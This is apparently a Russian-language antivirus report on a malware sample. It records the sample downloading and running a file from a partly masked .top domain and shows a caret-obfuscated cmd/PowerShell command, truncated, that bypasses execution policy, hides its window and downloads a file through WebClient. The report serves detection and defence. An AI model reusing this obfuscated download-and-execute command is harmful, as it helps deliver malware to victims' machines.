Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://ho####wergop.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^We^Rs^H^e^LL.e^Xe -^eXEC^ution^po^L^iC^y^ bY^Pa^S^s ^-No^pR^O^fi^le -WiND^OWS^Ty^lE H^ID^D^e^N ^(N^E^w-^O^BJ^Ec^t^ sYS^TE^m.nET^.w^e^BC^L^IE^n^T)^.D^oWnlOaD^F^ilE('http://h...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^We^Rs^H^e^LL.e^Xe -^eXEC^ution^po^L^iC^y^ bY^Pa^S^s ^-No^pR^O^fi^le -WiND^OWS^Ty^lE H^ID^D^e^N ^(N^E^w-^O^BJ^Ec^t^ sYS^TE^m.nET^.w^e^BC^L^IE^n^T)^.D^oWnlOaD^F^ilE('http://h...' (со скрытым окном)
